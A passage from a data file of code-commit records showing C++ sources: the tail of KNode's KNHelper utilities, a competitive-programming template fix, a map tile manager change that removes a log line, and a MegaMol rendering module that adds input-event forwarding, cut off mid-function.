t_empName))\n fileName = t_empName;\n } else\n fileName = u_rl.path();\n\n if (fileName.isEmpty())\n return 0;\n\n f_ile = new KNFile(fileName);\n if(!f_ile->open(IO_ReadOnly)) {\n KNHelper::displayExternalFileError();\n delete f_ile;\n f_ile = 0;\n }\n return f_ile;\n}\n\n\n\/\/===============================================================================\n\n\n\/\/ **** keyboard selection dialog *********************************************\nint KNHelper::selectDialog(QWidget *parent, const QString &caption, const QStringList &options, int initialValue)\n{\n KDialogBase *dlg=new KDialogBase(KDialogBase::Plain, caption, KDialogBase::Ok|KDialogBase::Cancel,\n KDialogBase::Ok, parent);\n QFrame *page = dlg->plainPage();\n QHBoxLayout *pageL = new QHBoxLayout(page,8,5);\n\n KNDialogListBox *list = new KNDialogListBox(true, page);\n pageL->addWidget(list);\n\n QString s;\n for ( QStringList::ConstIterator it = options.begin(); it != options.end(); ++it ) {\n s = (*it);\n s.replace(QRegExp(\"&\"),\"\"); \/\/ remove accelerators\n list->insertItem(s);\n }\n\n list->setCurrentItem(initialValue);\n list->setFocus();\n restoreWindowSize(\"selectBox\", dlg, QSize(247,174));\n\n int ret;\n if (dlg->exec())\n ret = list->currentItem();\n else\n ret = -1;\n\n saveWindowSize(\"selectBox\", dlg->size());\n delete dlg;\n return ret;\n}\n\n\/\/ **** window geometry managing *********************************************\n\nvoid KNHelper::saveWindowSize(const QString &name, const QSize &s)\n{\n KConfig *c=KGlobal::config();\n c->setGroup(\"WINDOW_SIZES\");\n c->writeEntry(name, s); \n}\n\n\nvoid KNHelper::restoreWindowSize(const QString &name, QWidget *d, const QSize &defaultSize)\n{\n KConfig *c=KGlobal::config();\n c->setGroup(\"WINDOW_SIZES\");\n \n QSize s=c->readSizeEntry(name,&defaultSize);\n \n if(s.isValid()) d->resize(s); \n}\n\n\/\/ **** scramble password strings **********************************************\n\nconst QString KNHelper::encryptStr(const QString& aStr)\n{\n uint i,val,len = aStr.length();\n QCString result;\n\n for (i=0; i<len; i++)\n {\n val = aStr[i] - ' ';\n val = (255-' ') - val;\n result += (char)(val + ' ');\n }\n\n return result;\n}\n\n\nconst QString KNHelper::decryptStr(const QString& aStr)\n{\n return encryptStr(aStr);\n}\n\n\/\/ **** rot13 *******************************************************************\n\nQString KNHelper::rot13(const QString &s)\n{\n QString r(s);\n\n for (int i=0; (uint)i<r.length(); i++) {\n if ( r[i] >= QChar('A') && r[i] <= QChar('M') ||\n r[i] >= QChar('a') && r[i] <= QChar('m') )\n r[i] = (char)((int)QChar(r[i]) + 13);\n else\n if ( r[i] >= QChar('N') && r[i] <= QChar('Z') ||\n r[i] >= QChar('n') && r[i] <= QChar('z') )\n r[i] = (char)((int)QChar(r[i]) - 13);\n } \n\n return r;\n}\n\n\/\/ **** us-ascii check **********************************************************\n\nbool KNHelper::isUsAscii(const QString &s)\n{\n for (uint i=0; i<s.length(); i++)\n if (s.at(i).latin1()<=0) \/\/ c==0: non-latin1, c<0: non-us-ascii\n return false;\n\n return true;\n}\n\n\/\/ **** text rewraping *********************************************************\n\nint findBreakPos(const QString &text, int start)\n{\n int i;\n for(i=start;i>=0;i--)\n if(text[i].isSpace())\n break;\n if(i>0)\n return i;\n for(i=start;i<(int)text.length();i++) \/\/ ok, the line is to long\n if(text[i].isSpace())\n break;\n return i;\n}\n\n\nvoid appendTextWPrefix(QString &result, const QString &text, int wrapAt, const QString &prefix)\n{\n QString txt=text;\n int breakPos;\n\n while(!txt.isEmpty()) {\n\n if((int)(prefix.length()+txt.length()) > wrapAt) {\n breakPos=findBreakPos(txt,wrapAt-prefix.length());\n result+=(prefix+txt.left(breakPos)+\"\\n\");\n txt.remove(0,breakPos+1);\n } else {\n result+=(prefix+txt+\"\\n\");\n txt=QString::null;\n }\n }\n}\n\n\nQString KNHelper::rewrapStringList(QStringList text, int wrapAt, QChar quoteChar, bool stopAtSig, bool alwaysSpace)\n{\n QString quoted, lastPrefix, thisPrefix, leftover, thisLine;\n int breakPos;\n\n for(QStringList::Iterator line=text.begin(); line!=text.end(); ++line) {\n\n if(stopAtSig && (*line)==\"-- \")\n break;\n\n thisLine=(*line);\n if (!alwaysSpace && (thisLine[0]==quoteChar))\n thisLine.prepend(quoteChar); \/\/ second quote level without space\n else\n thisLine.prepend(quoteChar+' ');\n\n thisPrefix=QString::null;\n QChar c;\n for(int idx=0; idx<(int)(thisLine.length()); idx++) {\n c=thisLine.at(idx);\n if( (c==' ') ||\n (c==quoteChar) || (c=='>') ||(c=='|') || (c==':') || (c=='#') || (c=='[') || (c=='{'))\n thisPrefix.append(c);\n else\n break;\n }\n\n thisLine.remove(0,thisPrefix.length());\n thisLine = thisLine.stripWhiteSpace();\n\n if(!leftover.isEmpty()) { \/\/ don't break paragraphs, tables and quote levels\n if(thisLine.isEmpty() || (thisPrefix!=lastPrefix) || thisLine.contains(\" \") || thisLine.contains('\\t'))\n appendTextWPrefix(quoted, leftover, wrapAt, lastPrefix);\n else\n thisLine.prepend(leftover+\" \");\n leftover=QString::null;\n }\n\n if((int)(thisPrefix.length()+thisLine.length()) > wrapAt) {\n breakPos=findBreakPos(thisLine,wrapAt-thisPrefix.length());\n if(breakPos < (int)(thisLine.length())) {\n leftover=thisLine.right(thisLine.length()-breakPos-1);\n thisLine.truncate(breakPos);\n }\n }\n\n quoted+=thisPrefix+thisLine+\"\\n\";\n lastPrefix=thisPrefix;\n }\n\n if (!leftover.isEmpty())\n appendTextWPrefix(quoted, leftover, wrapAt, lastPrefix);\n\n return quoted;\n}\n\n\/\/ **** misc. message-boxes **********************************************************\n\nvoid KNHelper::displayInternalFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to load\/save configuration!\\nWrong permissions on home directory?\\nYou should close KNode now to avoid data loss!\"));\n}\n\n\nvoid KNHelper::displayExternalFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to load\/save file!\"));\n}\n\n\nvoid KNHelper::displayRemoteFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to save remote file!\"));\n}\n\n\nvoid KNHelper::displayTempFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to create temporary file!\"));\n}\n<|endoftext|>"} {"text":"<commit_before>#include <bits\/stdc++.h>\n\nusing namespace std;\n\n#define x first\n#define y second\n#define SZ(x) ((int)((x).size()))\n#define PB(x) push_back(x);\n#define INF (0x3f3f3f3f)\n#define MEMSET(x,v) memset(x,v,sizeof(x));\n\ntypedef long long LL;\ntypedef pair<int, int> PII; typedef pair<PII, int> PII2;\ntypedef vector<int> VI; typedef vector<VI> VVI;\n\nint main() {\n \n \n return 0;\n}\n<commit_msg>Fixed DefaultCode.cpp<commit_after>#include <bits\/stdc++.h>\n\nusing namespace std;\n\n#define x first\n#define y second\n#define SZ(x) ((int)((x).size()))\n#define PB(x) push_back(x)\n#define INF (0x3f3f3f3f)\n#define MEMSET(x,v) memset(x,v,sizeof(x))\n\ntypedef long long LL;\ntypedef pair<int, int> PII; typedef pair<PII, int> PII2;\n\nint main() {\n \n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"tileManager.h\"\n#include \"scene\/scene.h\"\n#include \"tile\/mapTile.h\"\n#include \"view\/view.h\"\n\n#include <chrono>\n#include <algorithm>\n\nTileManager::TileManager() {\n \/\/ Instantiate workers\n for (size_t i = 0; i < MAX_WORKERS; i++) {\n m_workers.push_back(std::unique_ptr<TileWorker>(new TileWorker()));\n }\n}\n\nTileManager::TileManager(TileManager&& _other) :\n m_view(std::move(_other.m_view)),\n m_tileSet(std::move(_other.m_tileSet)),\n m_dataSources(std::move(_other.m_dataSources)),\n m_workers(std::move(_other.m_workers)),\n m_queuedTiles(std::move(_other.m_queuedTiles)) {\n}\n\nTileManager::~TileManager() {\n for (auto& worker : m_workers) {\n if (!worker->isFree()) {\n worker->abort();\n worker->getTileResult();\n }\n \/\/ We stop all workers before we destroy the resources they use.\n \/\/ TODO: This will wait for any pending network requests to finish,\n \/\/ which could delay closing of the application. \n }\n m_dataSources.clear();\n m_tileSet.clear();\n}\n\nvoid TileManager::addToWorkerQueue(std::vector<char>&& _rawData, const TileID& _tileId, DataSource* _source) {\n \n std::lock_guard<std::mutex> lock(m_queueTileMutex);\n m_queuedTiles.emplace_back(std::unique_ptr<TileTask>(new TileTask(std::move(_rawData), _tileId, _source)));\n \n}\n\nvoid TileManager::addToWorkerQueue(std::shared_ptr<TileData>& _parsedData, const TileID& _tileID, DataSource* _source) {\n\n std::lock_guard<std::mutex> lock(m_queueTileMutex);\n m_queuedTiles.emplace_back(std::unique_ptr<TileTask>(new TileTask(_parsedData, _tileID, _source)));\n\n}\n\nvoid TileManager::updateTileSet() {\n \n m_tileSetChanged = false;\n \n \/\/ Check if any native worker needs to be dispatched i.e. queuedTiles is not empty\n {\n auto workersIter = m_workers.begin();\n auto queuedTilesIter = m_queuedTiles.begin();\n\n while (workersIter != m_workers.end() && queuedTilesIter != m_queuedTiles.end()) {\n\n auto& worker = *workersIter;\n\n if (worker->isFree()) {\n worker->processTileData(std::move(*queuedTilesIter), m_scene->getStyles(), *m_view);\n queuedTilesIter = m_queuedTiles.erase(queuedTilesIter);\n }\n\n ++workersIter;\n }\n }\n\n \/\/ Check if any incoming tiles are finished\n for (auto& worker : m_workers) {\n \n if (!worker->isFree() && worker->isFinished()) {\n \n \/\/ Get result from worker and move it into tile set\n auto tile = worker->getTileResult();\n const TileID& id = tile->getID();\n logMsg(\"Tile [%d, %d, %d] finished loading\\n\", id.z, id.x, id.y);\n std::swap(m_tileSet[id], tile);\n cleanProxyTiles(id);\n m_tileSetChanged = true;\n \n }\n \n }\n \n if (! (m_view->changedOnLastUpdate() || m_tileSetChanged) ) {\n \/\/ No new tiles have come into view and no tiles have finished loading, \n \/\/ so the tileset is unchanged\n return;\n }\n \n const std::set<TileID>& visibleTiles = m_view->getVisibleTiles();\n \n \/\/ Loop over visibleTiles and add any needed tiles to tileSet\n {\n auto setTilesIter = m_tileSet.begin();\n auto visTilesIter = visibleTiles.begin();\n \n while (visTilesIter != visibleTiles.end()) {\n \n if (setTilesIter == m_tileSet.end() || *visTilesIter < setTilesIter->first) {\n \/\/ tileSet is missing an element present in visibleTiles\n addTile(*visTilesIter);\n m_tileSetChanged = true;\n ++visTilesIter;\n } else if (setTilesIter->first < *visTilesIter) {\n \/\/ visibleTiles is missing an element present in tileSet (handled below)\n ++setTilesIter;\n } else {\n \/\/ tiles in both sets match, move on\n ++setTilesIter;\n ++visTilesIter;\n }\n }\n }\n \n \/\/ Loop over tileSet and remove any tiles that are neither visible nor proxies\n {\n auto setTilesIter = m_tileSet.begin();\n auto visTilesIter = visibleTiles.begin();\n \n while (setTilesIter != m_tileSet.end()) {\n \n if (visTilesIter == visibleTiles.end() || setTilesIter->first < *visTilesIter) {\n \/\/ visibleTiles is missing an element present in tileSet\n if (setTilesIter->second->getProxyCounter() <= 0) {\n removeTile(setTilesIter);\n m_tileSetChanged = true;\n } else {\n ++setTilesIter;\n }\n } else if (*visTilesIter < setTilesIter->first) {\n \/\/ tileSet is missing an element present in visibleTiles (shouldn't occur)\n ++visTilesIter;\n } else {\n \/\/ tiles in both sets match, move on\n ++setTilesIter;\n ++visTilesIter;\n }\n }\n }\n}\n\nvoid TileManager::addTile(const TileID& _tileID) {\n \n std::shared_ptr<MapTile> tile(new MapTile(_tileID, m_view->getMapProjection()));\n m_tileSet[_tileID] = std::move(tile);\n\n for (auto& source : m_dataSources) {\n \n if (!source->loadTileData(_tileID, *this)) {\n \n logMsg(\"ERROR: Loading failed for tile [%d, %d, %d]\\n\", _tileID.z, _tileID.x, _tileID.y);\n \n }\n }\n \n \/\/Add Proxy if corresponding proxy MapTile ready\n updateProxyTiles(_tileID, m_view->isZoomIn());\n}\n\nvoid TileManager::removeTile(std::map< TileID, std::shared_ptr<MapTile> >::iterator& _tileIter) {\n \n const TileID& id = _tileIter->first;\n\n \/\/ Make sure to cancel the network request associated with this tile, then if already fetched remove it from the proocessing queue and the worker managing this tile, if applicable\n for(auto& dataSource : m_dataSources) {\n dataSource->cancelLoadingTile(id);\n cleanProxyTiles(id);\n }\n\n \/\/ Remove tile from queue, if present\n const auto& found = std::find_if(m_queuedTiles.begin(), m_queuedTiles.end(), \n [&](std::unique_ptr<TileTask>& p) {\n return (p->tileID == id);\n });\n\n if (found != m_queuedTiles.end()) {\n logMsg(\"Erasing tile: [%d,%d,%d]\\n\", id.x, id.y, id.z);\n m_queuedTiles.erase(found);\n cleanProxyTiles(id);\n }\n \n \/\/ If a worker is processing this tile, abort it\n for (const auto& worker : m_workers) {\n if (!worker->isFree() && worker->getTileID() == id) {\n worker->abort();\n \/\/ Proxy tiles will be cleaned in update loop\n }\n }\n\n \/\/ Remove tile from set\n _tileIter = m_tileSet.erase(_tileIter);\n \n}\n\nvoid TileManager::updateProxyTiles(const TileID& _tileID, bool _zoomingIn) {\n if (_zoomingIn) {\n \/\/ zoom in - add parent\n const auto& parentID = _tileID.getParent();\n const auto& parentTileIter = m_tileSet.find(parentID);\n if (parentID.isValid() && parentTileIter != m_tileSet.end()) {\n parentTileIter->second->incProxyCounter();\n }\n } else {\n for(int i = 0; i < 4; i++) {\n const auto& childID = _tileID.getChild(i);\n const auto& childTileIter = m_tileSet.find(childID);\n if(childID.isValid(m_view->s_maxZoom) && childTileIter != m_tileSet.end()) {\n childTileIter->second->incProxyCounter();\n }\n }\n }\n}\n\nvoid TileManager::cleanProxyTiles(const TileID& _tileID) {\n \/\/ check if parent proxy is present\n const auto& parentID = _tileID.getParent();\n const auto& parentTileIter = m_tileSet.find(parentID);\n if (parentID.isValid() && parentTileIter != m_tileSet.end()) {\n parentTileIter->second->decProxyCounter();\n }\n \n \/\/ check if child proxies are present\n for(int i = 0; i < 4; i++) {\n const auto& childID = _tileID.getChild(i);\n const auto& childTileIter = m_tileSet.find(childID);\n if(childID.isValid(m_view->s_maxZoom) && childTileIter != m_tileSet.end()) {\n childTileIter->second->decProxyCounter();\n }\n }\n}\n\n<commit_msg>one less log message.. HURRAY!!<commit_after>#include \"tileManager.h\"\n#include \"scene\/scene.h\"\n#include \"tile\/mapTile.h\"\n#include \"view\/view.h\"\n\n#include <chrono>\n#include <algorithm>\n\nTileManager::TileManager() {\n \/\/ Instantiate workers\n for (size_t i = 0; i < MAX_WORKERS; i++) {\n m_workers.push_back(std::unique_ptr<TileWorker>(new TileWorker()));\n }\n}\n\nTileManager::TileManager(TileManager&& _other) :\n m_view(std::move(_other.m_view)),\n m_tileSet(std::move(_other.m_tileSet)),\n m_dataSources(std::move(_other.m_dataSources)),\n m_workers(std::move(_other.m_workers)),\n m_queuedTiles(std::move(_other.m_queuedTiles)) {\n}\n\nTileManager::~TileManager() {\n for (auto& worker : m_workers) {\n if (!worker->isFree()) {\n worker->abort();\n worker->getTileResult();\n }\n \/\/ We stop all workers before we destroy the resources they use.\n \/\/ TODO: This will wait for any pending network requests to finish,\n \/\/ which could delay closing of the application. \n }\n m_dataSources.clear();\n m_tileSet.clear();\n}\n\nvoid TileManager::addToWorkerQueue(std::vector<char>&& _rawData, const TileID& _tileId, DataSource* _source) {\n \n std::lock_guard<std::mutex> lock(m_queueTileMutex);\n m_queuedTiles.emplace_back(std::unique_ptr<TileTask>(new TileTask(std::move(_rawData), _tileId, _source)));\n \n}\n\nvoid TileManager::addToWorkerQueue(std::shared_ptr<TileData>& _parsedData, const TileID& _tileID, DataSource* _source) {\n\n std::lock_guard<std::mutex> lock(m_queueTileMutex);\n m_queuedTiles.emplace_back(std::unique_ptr<TileTask>(new TileTask(_parsedData, _tileID, _source)));\n\n}\n\nvoid TileManager::updateTileSet() {\n \n m_tileSetChanged = false;\n \n \/\/ Check if any native worker needs to be dispatched i.e. queuedTiles is not empty\n {\n auto workersIter = m_workers.begin();\n auto queuedTilesIter = m_queuedTiles.begin();\n\n while (workersIter != m_workers.end() && queuedTilesIter != m_queuedTiles.end()) {\n\n auto& worker = *workersIter;\n\n if (worker->isFree()) {\n worker->processTileData(std::move(*queuedTilesIter), m_scene->getStyles(), *m_view);\n queuedTilesIter = m_queuedTiles.erase(queuedTilesIter);\n }\n\n ++workersIter;\n }\n }\n\n \/\/ Check if any incoming tiles are finished\n for (auto& worker : m_workers) {\n \n if (!worker->isFree() && worker->isFinished()) {\n \n \/\/ Get result from worker and move it into tile set\n auto tile = worker->getTileResult();\n const TileID& id = tile->getID();\n logMsg(\"Tile [%d, %d, %d] finished loading\\n\", id.z, id.x, id.y);\n std::swap(m_tileSet[id], tile);\n cleanProxyTiles(id);\n m_tileSetChanged = true;\n \n }\n \n }\n \n if (! (m_view->changedOnLastUpdate() || m_tileSetChanged) ) {\n \/\/ No new tiles have come into view and no tiles have finished loading, \n \/\/ so the tileset is unchanged\n return;\n }\n \n const std::set<TileID>& visibleTiles = m_view->getVisibleTiles();\n \n \/\/ Loop over visibleTiles and add any needed tiles to tileSet\n {\n auto setTilesIter = m_tileSet.begin();\n auto visTilesIter = visibleTiles.begin();\n \n while (visTilesIter != visibleTiles.end()) {\n \n if (setTilesIter == m_tileSet.end() || *visTilesIter < setTilesIter->first) {\n \/\/ tileSet is missing an element present in visibleTiles\n addTile(*visTilesIter);\n m_tileSetChanged = true;\n ++visTilesIter;\n } else if (setTilesIter->first < *visTilesIter) {\n \/\/ visibleTiles is missing an element present in tileSet (handled below)\n ++setTilesIter;\n } else {\n \/\/ tiles in both sets match, move on\n ++setTilesIter;\n ++visTilesIter;\n }\n }\n }\n \n \/\/ Loop over tileSet and remove any tiles that are neither visible nor proxies\n {\n auto setTilesIter = m_tileSet.begin();\n auto visTilesIter = visibleTiles.begin();\n \n while (setTilesIter != m_tileSet.end()) {\n \n if (visTilesIter == visibleTiles.end() || setTilesIter->first < *visTilesIter) {\n \/\/ visibleTiles is missing an element present in tileSet\n if (setTilesIter->second->getProxyCounter() <= 0) {\n removeTile(setTilesIter);\n m_tileSetChanged = true;\n } else {\n ++setTilesIter;\n }\n } else if (*visTilesIter < setTilesIter->first) {\n \/\/ tileSet is missing an element present in visibleTiles (shouldn't occur)\n ++visTilesIter;\n } else {\n \/\/ tiles in both sets match, move on\n ++setTilesIter;\n ++visTilesIter;\n }\n }\n }\n}\n\nvoid TileManager::addTile(const TileID& _tileID) {\n \n std::shared_ptr<MapTile> tile(new MapTile(_tileID, m_view->getMapProjection()));\n m_tileSet[_tileID] = std::move(tile);\n\n for (auto& source : m_dataSources) {\n \n if (!source->loadTileData(_tileID, *this)) {\n \n logMsg(\"ERROR: Loading failed for tile [%d, %d, %d]\\n\", _tileID.z, _tileID.x, _tileID.y);\n \n }\n }\n \n \/\/Add Proxy if corresponding proxy MapTile ready\n updateProxyTiles(_tileID, m_view->isZoomIn());\n}\n\nvoid TileManager::removeTile(std::map< TileID, std::shared_ptr<MapTile> >::iterator& _tileIter) {\n \n const TileID& id = _tileIter->first;\n\n \/\/ Make sure to cancel the network request associated with this tile, then if already fetched remove it from the proocessing queue and the worker managing this tile, if applicable\n for(auto& dataSource : m_dataSources) {\n dataSource->cancelLoadingTile(id);\n cleanProxyTiles(id);\n }\n\n \/\/ Remove tile from queue, if present\n const auto& found = std::find_if(m_queuedTiles.begin(), m_queuedTiles.end(), \n [&](std::unique_ptr<TileTask>& p) {\n return (p->tileID == id);\n });\n\n if (found != m_queuedTiles.end()) {\n m_queuedTiles.erase(found);\n cleanProxyTiles(id);\n }\n \n \/\/ If a worker is processing this tile, abort it\n for (const auto& worker : m_workers) {\n if (!worker->isFree() && worker->getTileID() == id) {\n worker->abort();\n \/\/ Proxy tiles will be cleaned in update loop\n }\n }\n\n \/\/ Remove tile from set\n _tileIter = m_tileSet.erase(_tileIter);\n \n}\n\nvoid TileManager::updateProxyTiles(const TileID& _tileID, bool _zoomingIn) {\n if (_zoomingIn) {\n \/\/ zoom in - add parent\n const auto& parentID = _tileID.getParent();\n const auto& parentTileIter = m_tileSet.find(parentID);\n if (parentID.isValid() && parentTileIter != m_tileSet.end()) {\n parentTileIter->second->incProxyCounter();\n }\n } else {\n for(int i = 0; i < 4; i++) {\n const auto& childID = _tileID.getChild(i);\n const auto& childTileIter = m_tileSet.find(childID);\n if(childID.isValid(m_view->s_maxZoom) && childTileIter != m_tileSet.end()) {\n childTileIter->second->incProxyCounter();\n }\n }\n }\n}\n\nvoid TileManager::cleanProxyTiles(const TileID& _tileID) {\n \/\/ check if parent proxy is present\n const auto& parentID = _tileID.getParent();\n const auto& parentTileIter = m_tileSet.find(parentID);\n if (parentID.isValid() && parentTileIter != m_tileSet.end()) {\n parentTileIter->second->decProxyCounter();\n }\n \n \/\/ check if child proxies are present\n for(int i = 0; i < 4; i++) {\n const auto& childID = _tileID.getChild(i);\n const auto& childTileIter = m_tileSet.find(childID);\n if(childID.isValid(m_view->s_maxZoom) && childTileIter != m_tileSet.end()) {\n childTileIter->second->decProxyCounter();\n }\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * ContextToGL.cpp\n *\n * Copyright (C) 2021 by VISUS (Universitaet Stuttgart).\n * Alle Rechte vorbehalten.\n *\/\n\n#include \"mmcore\/view\/ContextToGL.h\"\n#include \"mmcore\/utility\/log\/Log.h\"\n\nnamespace megamol::core::view {\n\nusing utility::log::Log;\n\nContextToGL::ContextToGL(void)\n : Renderer3DModuleGL()\n , _getContextSlot(\"getContext\", \"Slot for non-GL context\")\n{\n\n this->_getContextSlot.SetCompatibleCall<core::view::CallRender3DDescription>();\n this->MakeSlotAvailable(&this->_getContextSlot);\n\n}\n\nContextToGL::~ContextToGL(void) {\n this->Release();\n}\n\nbool ContextToGL::create(void) {\n if (!_utils.isInitialized()) {\n if (!_utils.InitPrimitiveRendering(this->GetCoreInstance()->ShaderSourceFactory())) {\n Log::DefaultLog.WriteError(\"[ContextToGL] Unable to initialize RenderUtility.\");\n }\n }\n\n return true;\n}\n\nvoid ContextToGL::release(void) {\n}\n\nbool ContextToGL::GetExtents(CallRender3DGL& call) {\n\n auto cr = _getContextSlot.CallAs<CallRender3D>();\n if (cr == nullptr) return false;\n \/\/ no copy constructor available\n auto cast_in = dynamic_cast<AbstractCallRender*>(&call);\n auto cast_out = dynamic_cast<AbstractCallRender*>(cr);\n *cast_out = *cast_in;\n\n if (!_framebuffer) {\n _framebuffer = std::make_shared<CPUFramebuffer>();\n }\n cr->SetFramebuffer(_framebuffer);\n\n (*cr)(view::CallRender3D::FnGetExtents);\n\n call.AccessBoundingBoxes() = cr->AccessBoundingBoxes();\n call.SetTimeFramesCount(cr->TimeFramesCount());\n\n return true;\n}\n\nbool ContextToGL::Render(CallRender3DGL& call) {\n\n auto cr = _getContextSlot.CallAs<CallRender3D>();\n if (cr == nullptr) return false;\n \/\/ no copy constructor available\n auto cast_in = dynamic_cast<AbstractCallRender*>(&call);\n auto cast_out = dynamic_cast<AbstractCallRender*>(cr);\n *cast_out = *cast_in;\n\n if (!_framebuffer) {\n _framebuffer = std::make_shared<CPUFramebuffer>();\n }\n cr->SetFramebuffer(_framebuffer);\n\n (*cr)(view::CallRender3D::FnRender);\n\n Camera_2 cam;\n call.GetCamera(cam);\n cam_type::snapshot_type snapshot;\n cam_type::matrix_type viewTemp, projTemp;\n\n \/\/ Generate complete snapshot and calculate matrices\n cam.calc_matrices(snapshot, viewTemp, projTemp, core::thecam::snapshot_content::all);\n\n auto width = cam.resolution_gate().width();\n auto height = cam.resolution_gate().height();\n\n auto lhs_fbo = call.GetFramebufferObject();\n if (lhs_fbo != NULL) {\n\n \/\/ module own fbo\n auto new_fbo = vislib::graphics::gl::FramebufferObject();\n new_fbo.Create(width, height, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE,\n vislib::graphics::gl::FramebufferObject::ATTACHMENT_TEXTURE, GL_DEPTH_COMPONENT);\n new_fbo.Enable();\n\n new_fbo.BindColourTexture();\n glClear(GL_COLOR_BUFFER_BIT);\n glTexImage2D(\n GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, _framebuffer->colorBuffer.data());\n glBindTexture(GL_TEXTURE_2D, 0);\n\n if (_framebuffer->depthBufferActive) {\n new_fbo.BindDepthTexture();\n glClear(GL_DEPTH_BUFFER_BIT);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT, width, height, 0, GL_DEPTH_COMPONENT, GL_FLOAT,\n _framebuffer->depthBuffer.data());\n glBindTexture(GL_TEXTURE_2D, 0);\n }\n float right = (width + static_cast<float>(width)) \/ 2.0f;\n float left = (width - static_cast<float>(width)) \/ 2.0f;\n float bottom = (height + static_cast<float>(height)) \/ 2.0f;\n float up = (height - static_cast<float>(height)) \/ 2.0f;\n glm::vec3 pos_bottom_left = {left, bottom, 0.0f};\n glm::vec3 pos_upper_left = {left, up, 0.0f};\n glm::vec3 pos_upper_right = {right, up, 0.0f};\n glm::vec3 pos_bottom_right = {right, bottom, 0.0f};\n _utils.Push2DColorTexture(\n new_fbo.GetColourTextureID(), pos_bottom_left, pos_upper_left, pos_upper_right, pos_bottom_right,true);\n if (_framebuffer->depthBufferActive) {\n _utils.Push2DDepthTexture(\n new_fbo.GetDepthTextureID(), pos_bottom_left, pos_upper_left, pos_upper_right, pos_bottom_right, true);\n }\n\n new_fbo.Disable();\n\n \/\/ draw into lhs fbo\n if ((lhs_fbo->GetWidth() != width) || (lhs_fbo->GetHeight() != height)) {\n lhs_fbo->Release();\n lhs_fbo->Create(width, height, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE,\n vislib::graphics::gl::FramebufferObject::ATTACHMENT_TEXTURE, GL_DEPTH_COMPONENT);\n }\n if (lhs_fbo->IsValid() && !lhs_fbo->IsEnabled()) {\n lhs_fbo->Enable();\n }\n\n glm::mat4 ortho = glm::ortho(0.0f, static_cast<float>(width), 0.0f, static_cast<float>(height), -1.0f, 1.0f);\n\n _utils.DrawTextures(ortho, glm::vec2(width, height));\n\n if (lhs_fbo->IsValid()) {\n lhs_fbo->Disable();\n }\n } else {\n return false;\n }\n return true;\n}\n\n} \/\/ namespace megamol::core::view\n<commit_msg>forward input events<commit_after>\/*\n * ContextToGL.cpp\n *\n * Copyright (C) 2021 by VISUS (Universitaet Stuttgart).\n * Alle Rechte vorbehalten.\n *\/\n\n#include \"mmcore\/view\/ContextToGL.h\"\n#include \"mmcore\/utility\/log\/Log.h\"\n\nnamespace megamol::core::view {\n\nusing utility::log::Log;\n\nContextToGL::ContextToGL(void)\n : Renderer3DModuleGL()\n , _getContextSlot(\"getContext\", \"Slot for non-GL context\")\n{\n\n this->_getContextSlot.SetCompatibleCall<core::view::CallRender3DDescription>();\n this->MakeSlotAvailable(&this->_getContextSlot);\n\n}\n\nContextToGL::~ContextToGL(void) {\n this->Release();\n}\n\nbool ContextToGL::create(void) {\n if (!_utils.isInitialized()) {\n if (!_utils.InitPrimitiveRendering(this->GetCoreInstance()->ShaderSourceFactory())) {\n Log::DefaultLog.WriteError(\"[ContextToGL] Unable to initialize RenderUtility.\");\n }\n }\n\n return true;\n}\n\nvoid ContextToGL::release(void) {\n}\n\nbool ContextToGL::GetExtents(CallRender3DGL& call) {\n\n auto cr = _getContextSlot.CallAs<CallRender3D>();\n if (cr == nullptr) return false;\n \/\/ no copy constructor available\n auto cast_in = dynamic_cast<AbstractCallRender*>(&call);\n auto cast_out = dynamic_cast<AbstractCallRender*>(cr);\n *cast_out = *cast_in;\n\n if (!_framebuffer) {\n _framebuffer = std::make_shared<CPUFramebuffer>();\n }\n cr->SetFramebuffer(_framebuffer);\n\n (*cr)(view::CallRender3D::FnGetExtents);\n\n call.AccessBoundingBoxes() = cr->AccessBoundingBoxes();\n call.SetTimeFramesCount(cr->TimeFramesCount());\n\n return true;\n}\n\nbool ContextToGL::Render(CallRender3DGL& call) {\n\n auto cr = _getContextSlot.CallAs<CallRender3D>();\n if (cr == nullptr) return false;\n \/\/ no copy constructor available\n auto cast_in = dynamic_cast<AbstractCallRender*>(&call);\n auto cast_out = dynamic_cast<AbstractCallRender*>(cr);\n *cast_out = *cast_in;\n\n if (!_framebuffer) {\n _framebuffer = std::make_shared<CPUFramebuffer>();\n }\n cr->SetFramebuffer(_framebuffer);\n cr->SetInputEvent(call.GetInputEvent());\n\n auto const& ie = cr->GetInputEvent();\n switch (ie.tag) {\n case InputEvent::Tag::Char: {\n (*cr)(view::CallRender3D::FnOnChar);\n } break;\n case InputEvent::Tag::Key: {\n (*cr)(view::CallRender3D::FnOnKey);\n } break;\n case InputEvent::Tag::MouseButton: {\n (*cr)(view::CallRender3D::FnOnMouseButton);\n } break;\n case InputEvent::Tag::MouseMove: {\n (*cr)(view::CallRender3D::FnOnMouseMove);\n } break;\n case InputEvent::Tag::MouseScroll: {\n (*cr)(view::CallRender3D::FnOnMouseScroll);\n } break;\n }\n\n (*cr)(view::CallRender3D::FnRender);\n\n Camera_2 cam;\n call.GetCamera(cam);\n cam_type::snapshot_type snapshot;\n cam_type::matrix_type viewTemp, projTemp;\n\n \/\/ Generate complete snapshot and calculate matrices\n cam.calc_matrices(snapshot, viewTemp, projTemp, core::thecam::snapshot_content::all);\n\n auto width = cam.resolution_gate().width();\n auto height = cam.resolution_gate().height();\n\n auto lhs_fbo = call.GetFramebufferObject();\n if (lhs_fbo != NULL) {\n\n \/\/ module own fbo\n auto new_fbo = vislib::graphics::gl::FramebufferObject();\n new_fbo.Create(width, height, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE,\n vislib::graphics::gl::FramebufferObject::ATTACHMENT_TEXTURE, GL_DEPTH_COMPONENT);\n new_fbo.Enable();\n\n 